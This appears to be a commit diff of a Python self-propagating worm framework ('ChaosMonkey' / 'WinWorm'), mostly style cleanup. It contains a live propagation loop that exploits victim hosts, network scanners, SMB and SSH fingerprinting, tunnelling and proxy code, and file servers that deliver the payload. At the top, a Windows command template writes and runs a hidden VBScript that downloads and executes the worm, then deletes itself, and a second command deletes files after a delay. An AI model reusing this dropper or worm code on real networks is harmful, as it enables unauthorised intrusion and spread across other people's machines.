RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
from host import VictimHost

View File

@ -1,5 +1,6 @@
__author__ = 'itamar'
class VictimHost(object):
def __init__(self, ip_addr):
self.ip_addr = ip_addr

View File

@ -2,11 +2,10 @@ import sys
import os
import time
import logging
import platform
from system_singleton import SystemSingleton
from network.firewall import app as firewall
from control import ControlClient
from config import WormConfiguration, EXTERNAL_CONFIG_FILE
from config import WormConfiguration
from network.network_scanner import NetworkScanner
import tunnel
import argparse
@ -17,14 +16,6 @@ __author__ = 'itamar'
LOG = logging.getLogger(__name__)
# TODO:
# 1. Remote dating of copied file
# 2. OS Detection prior to exploit
# 3. Exploit using token credentials
# 4. OS Support for exploitation modules (win / linux specific)
# 5. Linux portability
# 6. Clear eventlog after exploitation
# 7. Add colors to logger
class ChaosMonkey(object):
def __init__(self, args):
@ -35,6 +26,10 @@ class ChaosMonkey(object):
self._parent = None
self._default_tunnel = None
self._args = args
self._network = None
self._dropper_path = None
self._exploiters = None
self._fingerprint = None
def initialize(self):
LOG.info("WinWorm is initializing...")
@ -53,7 +48,6 @@ class ChaosMonkey(object):
self._network = NetworkScanner()
self._dropper_path = sys.argv[0]
def start(self):
LOG.info("WinWorm is running...")
@ -97,11 +91,9 @@ class ChaosMonkey(object):
continue
elif machine in self._fail_exploitation_machines:
if WormConfiguration.retry_failed_explotation:
LOG.debug("%r - exploitation failed before, trying again",
machine)
LOG.debug("%r - exploitation failed before, trying again", machine)
else:
LOG.debug("Skipping %r - exploitation failed before",
machine)
LOG.debug("Skipping %r - exploitation failed before", machine)
continue
successful_exploiter = None
@ -147,7 +139,6 @@ class ChaosMonkey(object):
else:
self._fail_exploitation_machines.add(machine)
time.sleep(WormConfiguration.timeout_between_iterations)
if self._keep_running and WormConfiguration.alive:

View File

@ -7,10 +7,11 @@ MONKEYFS_PREFIX = 'monkeyfs://'
open_orig = open
class VirtualFile(BytesIO):
_vfs = {} #virtual File-System
def __init__(self, name, mode = 'r', buffering = None):
class VirtualFile(BytesIO):
_vfs = {} # virtual File-System
def __init__(self, name, mode='r', buffering=None):
if not name.startswith(MONKEYFS_PREFIX):
name = MONKEYFS_PREFIX + name
self.name = name
@ -32,23 +33,27 @@ class VirtualFile(BytesIO):
def isfile(path):
return VirtualFile._vfs.has_key(path)
def getsize(path):
if path.startswith(MONKEYFS_PREFIX):
return VirtualFile.getsize(path)
else:
return os.stat(path).st_size
def isfile(path):
if path.startswith(MONKEYFS_PREFIX):
return VirtualFile.isfile(path)
else:
return os.path.isfile(path)
def virtual_path(name):
return "%s%s" % (MONKEYFS_PREFIX, name)
def open(name, mode='r', buffering=-1):
#use normal open for regular paths, and our "virtual" open for monkeyfs:// paths
# use normal open for regular paths, and our "virtual" open for monkeyfs:// paths
if name.startswith(MONKEYFS_PREFIX):
return VirtualFile(name, mode, buffering)
else:

View File

@ -1,9 +1,14 @@
from abc import ABCMeta, abstractmethod
import socket
from ping_scanner import PingScanner
from tcp_scanner import TcpScanner
from smbfinger import SMBFinger
from sshfinger import SSHFinger
from info import local_ips
from info import get_free_tcp_port
__author__ = 'itamar'
class HostScanner(object):
__metaclass__ = ABCMeta
@ -11,17 +16,10 @@ class HostScanner(object):
def is_host_alive(self, host):
raise NotImplementedError()
class HostFinger(object):
__metaclass__ = ABCMeta
@abstractmethod
def get_host_fingerprint(self, host):
raise NotImplementedError()
from ping_scanner import PingScanner
from tcp_scanner import TcpScanner
from smbfinger import SMBFinger
from sshfinger import SSHFinger
from info import local_ips
from info import get_free_tcp_port

View File

@ -2,6 +2,7 @@ import subprocess
import sys
import platform
class FirewallApp(object):
def is_enabled(self, **kwargs):
return False
@ -24,8 +25,10 @@ class FirewallApp(object):
def close(self):
return
def _run_netsh_cmd(command, args):
cmd = subprocess.Popen("netsh %s %s" % (command, " ".join(['%s="%s"'%(key,value) for key,value in args.items() if value])), stdout=subprocess.PIPE)
cmd = subprocess.Popen("netsh %s %s" % (command, " ".join(['%s="%s"' % (key, value) for key, value in args.items()
if value])), stdout=subprocess.PIPE)
return cmd.stdout.read().strip().lower().endswith('ok.')
@ -76,14 +79,14 @@ class WinAdvFirewall(FirewallApp):
return None
def listen_allowed(self, **kwargs):
if False == self.is_enabled():
if not self.is_enabled():
return True
for rule in self._rules.values():
if rule.get('program') == sys.executable and \
'in' == rule.get('dir') and \
'allow' == rule.get('action') and \
4 == len(rule.keys()):
'in' == rule.get('dir') and \
'allow' == rule.get('action') and \
4 == len(rule.keys()):
return True
return False
@ -144,12 +147,11 @@ class WinFirewall(FirewallApp):
return None
def listen_allowed(self, **kwargs):
if False == self.is_enabled():
if not self.is_enabled():
return True
for rule in self._rules.values():
if rule.get('program') == sys.executable and \
'ENABLE' == rule.get('mode'):
if rule.get('program') == sys.executable and 'ENABLE' == rule.get('mode'):
return True
return False
@ -170,4 +172,4 @@ if sys.platform == "win32":
else:
app = WinFirewall()
else:
app = FirewallApp()
app = FirewallApp()

View File

@ -14,6 +14,7 @@ if sys.platform == "win32":
else:
import fcntl
def local_ips():
result = []
try:
@ -39,10 +40,11 @@ else:
addr = socket.inet_ntoa(namestr[i+20:i+24])
if not addr.startswith('127'):
result.append(addr)
#name of interface is (namestr[i:i+16].split('\0', 1)[0]
# name of interface is (namestr[i:i+16].split('\0', 1)[0]
finally:
return result
def get_free_tcp_port(min_range=1000, max_range=65535):
start_range = min(1, min_range)
max_range = min(65535, max_range)
@ -52,7 +54,7 @@ def get_free_tcp_port(min_range=1000, max_range=65535):
for i in range(min_range, max_range):
port = randint(start_range, max_range)
if not port in in_use:
if port not in in_use:
return port
return None
return None

View File

@ -1,11 +1,9 @@
import time
import socket
import logging
from network import HostScanner
from config import WormConfiguration
from . import HostScanner
from chaos_monkey.config import WormConfiguration
from info import local_ips
from network.range import *
from range import *
__author__ = 'itamar'

View File

@ -2,8 +2,8 @@ import os
import sys
import subprocess
import logging
from network import HostScanner, HostFinger
from model.host import VictimHost
from . import HostScanner, HostFinger
from chaos_monkey.model.host import VictimHost
import re
__author__ = 'itamar'
@ -16,6 +16,7 @@ WINDOWS_TTL = 128
LOG = logging.getLogger(__name__)
class PingScanner(HostScanner, HostFinger):
def __init__(self):
self._config = __import__('config').WormConfiguration
@ -27,7 +28,7 @@ class PingScanner(HostScanner, HostFinger):
timeout = self._config.ping_scan_timeout
if not "win32" == sys.platform:
timeout = timeout / 1000
timeout /= 1000
return 0 == subprocess.call(["ping",
PING_COUNT_FLAG, "1",
@ -41,15 +42,15 @@ class PingScanner(HostScanner, HostFinger):
timeout = self._config.ping_scan_timeout
if not "win32" == sys.platform:
timeout = timeout / 1000
timeout /= 1000
sub_proc = subprocess.Popen(["ping",
PING_COUNT_FLAG,
"1",
PING_TIMEOUT_FLAG,
str(timeout), host.ip_addr],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
sub_proc = subprocess.Popen(["ping",
PING_COUNT_FLAG,
"1",
PING_TIMEOUT_FLAG,
str(timeout), host.ip_addr],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
output = " ".join(sub_proc.communicate())
regex_result = self._ttl_regex.search(output)

View File

@ -2,7 +2,7 @@ import socket
import random
import struct
from abc import ABCMeta, abstractmethod
from model.host import VictimHost
from chaos_monkey.model.host import VictimHost
__author__ = 'itamar'
@ -35,7 +35,7 @@ class ClassCRange(NetworkRange):
def __repr__(self):
return "<ClassCRange %s-%s>" % (socket.inet_ntoa(struct.pack(">L", self._base_address + 1)),
socket.inet_ntoa(struct.pack(">L", self._base_address + 254)))
socket.inet_ntoa(struct.pack(">L", self._base_address + 254)))
def _get_range(self):
return range(1, 254)
@ -66,4 +66,4 @@ class FixedRange(NetworkRange):
def _get_range(self):
return [struct.unpack(">L", socket.inet_aton(address))[0]
for address in self._fixed_addresses]
for address in self._fixed_addresses]

View File

@ -1,23 +1,21 @@
import re
import sys
import socket
import struct
import string
import logging
from network import HostFinger
from model.host import VictimHost
from chaos_monkey.network import HostFinger
from chaos_monkey.model.host import VictimHost
from odict import odict
import select
SMB_PORT = 445
SMB_SERVICE = 'tcp-445'
LOG = logging.getLogger(__name__)
class Packet():
class Packet(object):
fields = odict([
("data", ""),
])
def __init__(self, **kw):
self.fields = odict(self.__class__.fields)
for k,v in kw.items():
@ -25,9 +23,11 @@ class Packet():
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
##### SMB Packets #####
class SMBHeader(Packet):
fields = odict([
@ -45,6 +45,7 @@ class SMBHeader(Packet):
("mid", "\x00\x00"),
])
class SMBNego(Packet):
fields = odict([
("wordcount", "\x00"),
@ -55,6 +56,7 @@ class SMBNego(Packet):
def calculate(self):
self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"])))
class SMBNegoFingerData(Packet):
fields = odict([
("separator1","\x02" ),
@ -71,6 +73,7 @@ class SMBNegoFingerData(Packet):
("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
])
class SMBSessionFingerData(Packet):
fields = odict([
("wordcount", "\x0c"),
@ -88,9 +91,11 @@ class SMBSessionFingerData(Packet):
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
def calculate(self):
def calculate(self):
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
class SMBFinger(HostFinger):
def __init__(self):
self._config = __import__('config').WormConfiguration
@ -145,4 +150,4 @@ class SMBFinger(HostFinger):
except Exception, exc:
LOG.debug("Error getting smb fingerprint: %s", exc)
return False
return False

View File

@ -1,14 +1,7 @@
import re
import sys
import socket
import struct
import string
import logging
from network import HostFinger
import socket
import select
from network.tools import check_port_tcp
from model.host import VictimHost
from chaos_monkey.network import HostFinger
from chaos_monkey.network.tools import check_port_tcp
from chaos_monkey.model.host import VictimHost
SSH_PORT = 22
SSH_SERVICE_DEFAULT = 'tcp-22'
@ -17,6 +10,7 @@ TIMEOUT = 10
BANNER_READ = 1024
LINUX_DIST_SSH = ['ubuntu', 'debian']
class SSHFinger(HostFinger):
def __init__(self):
self._config = __import__('config').WormConfiguration
@ -28,7 +22,7 @@ class SSHFinger(HostFinger):
if banner.lower().find(dist) != -1:
host.os['type'] = 'linux'
os_version = banner.split(' ').pop().strip()
if not host.os.has_key('version'):
if 'version' not in host.os:
host.os['version'] = os_version
else:
host.services[service]['os-version'] = os_version
@ -37,7 +31,7 @@ class SSHFinger(HostFinger):
def get_host_fingerprint(self, host):
assert isinstance(host, VictimHost)
for name,data in host.services.items():
for name, data in host.services.items():
banner = data.get('banner', '')
if self._banner_regex.search(banner):
self._banner_match(name, host, banner)
@ -54,4 +48,4 @@ class SSHFinger(HostFinger):
self._banner_match(SSH_SERVICE_DEFAULT, host, banner)
return True
return False
return False

View File

@ -1,15 +1,13 @@
import time
import socket
from network import HostScanner, HostFinger
from model.host import VictimHost
from network.tools import check_port_tcp
import select
from chaos_monkey.network import HostScanner, HostFinger
from chaos_monkey.model.host import VictimHost
from chaos_monkey.network.tools import check_port_tcp
__author__ = 'itamar'
BANNER_READ = 1024
class TcpScanner(HostScanner, HostFinger):
def __init__(self):
self._config = __import__('config').WormConfiguration
@ -30,7 +28,7 @@ class TcpScanner(HostScanner, HostFinger):
self._config.tcp_scan_get_banner)
if is_open:
count+=1
count += 1
service = 'tcp-' + str(target_port)
host.services[service] = {}
if banner:
@ -40,4 +38,4 @@ class TcpScanner(HostScanner, HostFinger):
else:
time.sleep(self._config.tcp_scan_interval / 1000.0)
return count != 0
return count != 0

View File

@ -7,6 +7,7 @@ BANNER_READ = 1024
LOG = logging.getLogger(__name__)
def check_port_tcp(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
@ -14,10 +15,10 @@ def check_port_tcp(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
try:
sock.connect((ip, port))
except socket.timeout:
return (False, None)
return False, None
except socket.error, exc:
LOG.debug("Check port: %s:%s, Exception: %s", ip, port, exc)
return (False, None)
return False, None
banner = None
@ -30,7 +31,8 @@ def check_port_tcp(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
pass
sock.close()
return (True, banner)
return True, banner
def check_port_udp(ip, port, timeout=DEFAULT_TIMEOUT):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
@ -47,4 +49,4 @@ def check_port_udp(ip, port, timeout=DEFAULT_TIMEOUT):
pass
sock.close()
return (is_open, data)
return is_open, data

View File

@ -1,4 +1,3 @@
import sys
import ctypes
import logging
@ -9,6 +8,7 @@ __author__ = 'itamar'
LOG = logging.getLogger(__name__)
class _SystemSingleton(object):
__metaclass__ = ABCMeta
@ -44,7 +44,7 @@ class WindowsSystemSingleton(_SystemSingleton):
last_error = ctypes.windll.kernel32.GetLastError()
if not handle:
LOG.error("Cannot acquire system singleton %r, unknown error %d",
self._mutex_name, last_error)
self._mutex_name, last_error)
return False
@ -86,13 +86,12 @@ class LinuxSystemSingleton(_SystemSingleton):
sock.bind('\0' + self._unix_sock_name)
except socket.error, e:
LOG.error("Cannot acquire system singleton %r, error code %d, error: %s",
self._unix_sock_name, e.args[0], e.args[1])
self._unix_sock_name, e.args[0], e.args[1])
return False
self._sock_handle = sock
LOG.debug("Global singleton mutex %r acquired",
self._unix_sock_name)
LOG.debug("Global singleton mutex %r acquired", self._unix_sock_name)
return True

View File

@ -1,5 +1,4 @@
from ftp import FTPServer
from http import HTTPServer
__author__ = 'hoffer'
from ftp import FTPServer
from http import HTTPServer

View File

@ -1,5 +1,6 @@
from threading import Thread
class TransportProxyBase(Thread):
def __init__(self, local_port, dest_host=None, dest_port=None, local_host=''):
self.local_host = local_host
@ -11,4 +12,4 @@ class TransportProxyBase(Thread):
self.daemon = True
def stop(self):
self._stopped = True
self._stopped = True

View File

@ -1,8 +1,9 @@
import os,socket,threading,time
import socket, threading, time
import StringIO
__author__ = 'hoffer'
class FTPServer(threading.Thread):
def __init__(self, local_ip, local_port, files):
self.files=files
@ -47,13 +48,16 @@ class FTPServer(threading.Thread):
self.conn.send('451 Sorry.\r\n')
def USER(self,cmd):
self.conn.send('331 OK.\r\n')
def PASS(self,cmd):
self.conn.send('230 OK.\r\n')
#self.conn.send('530 Incorrect.\r\n')
def QUIT(self,cmd):
self.conn.send('221 Goodbye.\r\n')
def NOOP(self,cmd):
self.conn.send('200 OK.\r\n')
def TYPE(self,cmd):
self.mode=cmd[5]
self.conn.send('200 Binary mode.\r\n')
@ -71,7 +75,7 @@ class FTPServer(threading.Thread):
if self.pasv_mode:
self.servsock.close()
self.pasv_mode = False
l=cmd[5:].split(',')
l = cmd[5:].split(',')
self.dataAddr='.'.join(l[:4])
self.dataPort=(int(l[4])<<8)+int(l[5])
self.conn.send('200 Get port.\r\n')
@ -97,7 +101,6 @@ class FTPServer(threading.Thread):
if self.pasv_mode:
self.servsock.close()
def LIST(self,cmd):
self.conn.send('150 Here comes the directory listing.\r\n')
self.start_datasock()
@ -109,8 +112,8 @@ class FTPServer(threading.Thread):
def toListItem(self,fn):
fullmode='rwxrwxrwx'
mode=''
d='-'
mode = ''
d = '-'
ftime=time.strftime(' %b %d %H:%M ', time.gmtime())
return d+fullmode+' 1 user group '+str(self.files[fn].tell())+ftime+fn
@ -168,4 +171,4 @@ class FTPServer(threading.Thread):
fo.write(data)
fo.seek(0)
self.stop_datasock()
self.conn.send('226 Transfer complete.\r\n')
self.conn.send('226 Transfer complete.\r\n')

View File

@ -1,6 +1,4 @@
import urllib, BaseHTTPServer, threading, os.path
import shutil
import struct
import monkeyfs
from logging import getLogger
from base import TransportProxyBase
@ -12,6 +10,7 @@ __author__ = 'hoffer'
LOG = getLogger(__name__)
class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
filename = ""
@ -23,8 +22,8 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def report_download():
pass
def do_POST (self):
self.send_error (501, "Unsupported method (POST)")
def do_POST(self):
self.send_error(501, "Unsupported method (POST)")
return
def do_GET(self):
@ -45,7 +44,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
start_range += chunk
if f.tell() == monkeyfs.getsize(self.filename):
self.report_download()
self.report_download()
f.close()
@ -64,7 +63,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
f = monkeyfs.open(self.filename, 'rb')
except IOError:
self.send_error(404, "File not found")
return (None, 0, 0)
return None, 0, 0
size = monkeyfs.getsize(self.filename)
start_range = 0
end_range = size
@ -93,12 +92,12 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
self.send_header("Content-Range", 'bytes ' + str(start_range) + '-' + str(end_range - 1) + '/' + str(size))
self.send_header("Content-Length", min(end_range - start_range, size))
self.end_headers()
return (f, start_range, end_range)
return f, start_range, end_range
def log_message(self, format, *args):
LOG.debug("FileServHTTPRequestHandler: %s - - [%s] %s" % (self.address_string(),
self.log_date_time_string(),
format % args))
self.log_date_time_string(),
format % args))
class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
@ -146,6 +145,7 @@ class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
self.log_date_time_string(),
format % args))
class InternalHTTPServer(BaseHTTPServer.HTTPServer):
def handle_error(self, request, client_address):
#ToDo: debug log error
@ -157,6 +157,7 @@ class InternalHTTPServer(BaseHTTPServer.HTTPServer):
# print >>sys.stderr, '-'*40
pass
class HTTPServer(threading.Thread):
def __init__(self, local_ip, local_port, filename, max_downloads=1):
self._local_ip = local_ip
@ -172,8 +173,8 @@ class HTTPServer(threading.Thread):
filename = self._filename
@staticmethod
def report_download():
self.downloads+=1
self.downloads += 1
httpd = InternalHTTPServer((self._local_ip, self._local_port), TempHandler)
httpd.timeout = 0.5
@ -186,6 +187,7 @@ class HTTPServer(threading.Thread):
self._stopped = True
self.join(timeout)
class HTTPConnectProxy(TransportProxyBase):
def run(self):
httpd = InternalHTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)

View File

@ -1,7 +1,5 @@
import sys
import socket
import select
import time
from threading import Thread
from base import TransportProxyBase
from logging import getLogger
@ -11,9 +9,10 @@ DEFAULT_TIMEOUT = 10
LOG = getLogger(__name__)
class SocketsPipe(Thread):
def __init__(self, source, dest, timeout=DEFAULT_TIMEOUT):
Thread.__init__( self )
Thread.__init__(self)
self.source = source
self.dest = dest
self.timeout = timeout
@ -43,7 +42,8 @@ class SocketsPipe(Thread):
self.source.close()
self.dest.close()
class TcpProxy(TransportProxyBase):
def run(self):
@ -74,4 +74,4 @@ class TcpProxy(TransportProxyBase):
l_socket.close()
for pipe in pipes:
pipe.join()
pipe.join()

View File

@ -17,16 +17,17 @@ MCAST_GROUP = '224.1.1.1'
MCAST_PORT = 5007
BUFFER_READ = 1024
DEFAULT_TIMEOUT = 10
QUIT_TIMEOUT = 1200 #20 minutes
QUIT_TIMEOUT = 1200 # 20 minutes
def _set_multicast_socket(timeout=DEFAULT_TIMEOUT):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.settimeout(timeout)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('', MCAST_PORT))
sock.setsockopt(socket.IPPROTO_IP,
socket.IP_ADD_MEMBERSHIP,
struct.pack("4sl", socket.inet_aton(MCAST_GROUP), socket.INADDR_ANY))
sock.setsockopt(socket.IPPROTO_IP,
socket.IP_ADD_MEMBERSHIP,
struct.pack("4sl", socket.inet_aton(MCAST_GROUP), socket.INADDR_ANY))
return sock
@ -64,13 +65,14 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
sock.sendto("+", (address, MCAST_PORT))
sock.close()
return (address, port)
return address, port
except Exception, exc:
LOG.debug("Caught exception in tunnel lookup: %s", exc)
continue
return None
def quit_tunnel(address, timeout=DEFAULT_TIMEOUT):
try:
sock = _set_multicast_socket(timeout)
@ -94,12 +96,11 @@ class MonkeyTunnel(Thread):
self.local_port = None
super(MonkeyTunnel, self).__init__()
self.daemon = True
self.l_ips = None
def run(self):
self._broad_sock = _set_multicast_socket(self._timeout)
self.l_ips = local_ips()
self.local_port = get_free_tcp_port()
if not self.local_port:
@ -151,4 +152,4 @@ class MonkeyTunnel(Thread):
host.default_tunnel = '%s:%d' % (ip_match[0], self.local_port)
def stop(self):
self._stopped = True
self._stopped = True